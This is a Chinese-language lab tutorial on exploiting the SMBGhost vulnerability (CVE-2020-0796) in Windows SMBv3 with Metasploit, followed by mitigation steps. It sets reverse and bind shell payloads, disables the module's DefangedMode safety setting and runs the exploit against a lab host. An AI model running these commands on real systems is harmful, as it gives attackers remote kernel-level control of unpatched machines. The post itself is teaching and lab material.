CVE-2020-0796:永恒之黑实战学习

CVE-2020-0796:永恒之黑实战学习

1.背景:

  1. 漏洞名称:CVE-2020-0796,又称"SMBGhost"或"永恒之黑"。
  2. 影响范围:Windows 10(1903/1909版本)及Windows Server 2019/2016(部分版本)。
  3. 协议相关:SMBv3.1.1协议(Server Message Block,用于文件/打印机共享)。
  4. 触发条件:SMBv3服务启用(默认开启);攻击者需与目标建立SMB连接(通常通过445端口)。
  5. 实战背景:使用kali2024.02的metasploit攻击靶机win10 1903版本,靶机已开启smb并关闭防火墙,kali和靶机处于同一个局域网,网络互通

2.原理

  1. 概要:解压过程中未正确验证数据包长度,导致缓冲区溢出
  2. 细节:伪造OriginalSize:将OriginalSize字段设置为一个较小的值(如0),诱使系统分配较小的缓冲区。构造压缩数据:压缩后的数据被精心设计,使其解压后的大小远大于OriginalSize。触发溢出:解压过程将大量数据写入缓冲区,导致缓冲区溢出。通过构造恶意数据包覆盖相邻内存,可能实现内核级代码执行(因SMB驱动运行在内核模式)。

注意:

  1. OriginalSize:原始数据大小。
  2. CompressedSize:压缩后数据大小。

3.实战

3.1 运行metasploit

复制代码
msfdb run

3.2 查找永恒之黑模块并加载模块

复制代码
search cve:CVE-2020-0796
use 3

3.3 查看模块详情

复制代码
options

注:

  1. 发现攻击载荷payload需要切换至我们熟悉的shell
  2. 需要指定攻击目标IP地址:RHOSTS

3.4 查找合适的payload并切换,然后指定目标ip地址(渗透后反向连接reverse_tcp)

复制代码
search type:payload path:shell name:windows x64
set payload payload/windows/x64/shell/reverse_tcp
set rhosts 192.168.1.178
options

3.5 改控制模式为温和

复制代码
set DefangedMode false

注意:

  1. DefangedMode的默认值为true,温和,这是一种安全措施,防止用户意外对目标系统造成损害。
  2. CVE-2020-0796的漏洞利用模块(exploit/windows/smb/cve_2020_0796_smbghost)需要发送特制的恶意数据包来触发缓冲区溢出,进而执行Payload。如果DefangedMode为true,模块不会发送这些数据包,导致漏洞利用失败。如:

3.6 开始攻击(方式一)

复制代码
run      # 直接执行

注意:

  1. 到此已经渗透成功
  2. ctrl+c退出
  3. 有可能会乱码,可以执行 chcp 65001 如:

3.7 开始攻击(方式二)

复制代码
run -j

#执行成功后查看方式
sessions
session -i 2

3.8 退出且会话继续挂后台

复制代码
background

3.9 删除会话

复制代码
sessions -k 2

sessions -K    # 删除所有会话(大写K)

3.10 尝试渗透后正向连接(bind_tcp)

复制代码
search type:payload name:window x64 path:shell path:bind_tcp
set payload payload/windows/x64/shell/bind_tcp
set rhosts 192.168.1.178
options
run

注意:

  1. 跟反向连接攻击方式一致,只剩正向连接是渗透后攻击机向目标机发起连接,而反向连接是渗透后由目标机向攻击机发起连接
  2. 连接目标的端口需要目标机的防火墙开放,如图中的LPORT 4444

4.防御技术原理

  1. 关闭SMBv3服务:禁用SMBv3服务,可以阻止攻击者利用永恒之黑漏洞进行攻击。
  2. 关闭445端口或者用防火墙拦截445端口的所有请求,防止攻击者利用445端口进行攻击。
  3. 下载补丁修复漏洞:安装Windows补丁KB4551762,修复永恒之黑漏洞。
相关推荐
上海云盾商务经理杨杨1 小时前
2025年高防IP隐身术:四层架构拆解源站IP“消失之谜”
网络协议·tcp/ip·网络安全·架构
freed_Day1 小时前
Java学习进阶--集合体系结构
java·开发语言·学习
电子科技圈3 小时前
芯科科技成为全球首家通过PSA 4级认证的物联网芯片厂商巩固其在物联网安全领域的领导地位
科技·物联网·安全·网络安全·边缘计算
饭碗、碗碗香3 小时前
【Dify学习笔记】:Dify搭建表单信息提交系统
人工智能·笔记·学习·ai
jz_ddk4 小时前
[科普] AI加速器架构全景图:从GPU到光计算的算力革命
人工智能·学习·算法·架构
峥嵘life5 小时前
Android初学者系统开发学习路线参考
android·学习
-风中叮铃-6 小时前
【MongoDB学习笔记1】MongoDB的常用命令介绍-数据库操作、集合操作、文档操作、文档分页查询、高级查询
数据库·学习·mongodb
生医转码,四海为家6 小时前
零基础-动手学深度学习-9.7. 序列到序列学习(seq2seq)
学习
snowfoootball6 小时前
2025 蓝桥杯C/C++国B 部分题解
c语言·c++·笔记·学习·贪心算法·蓝桥杯
Olrookie8 小时前
若依前后端分离版学习笔记(七)—— Mybatis,分页,数据源的配置及使用
数据库·笔记·学习·mybatis·ruoyi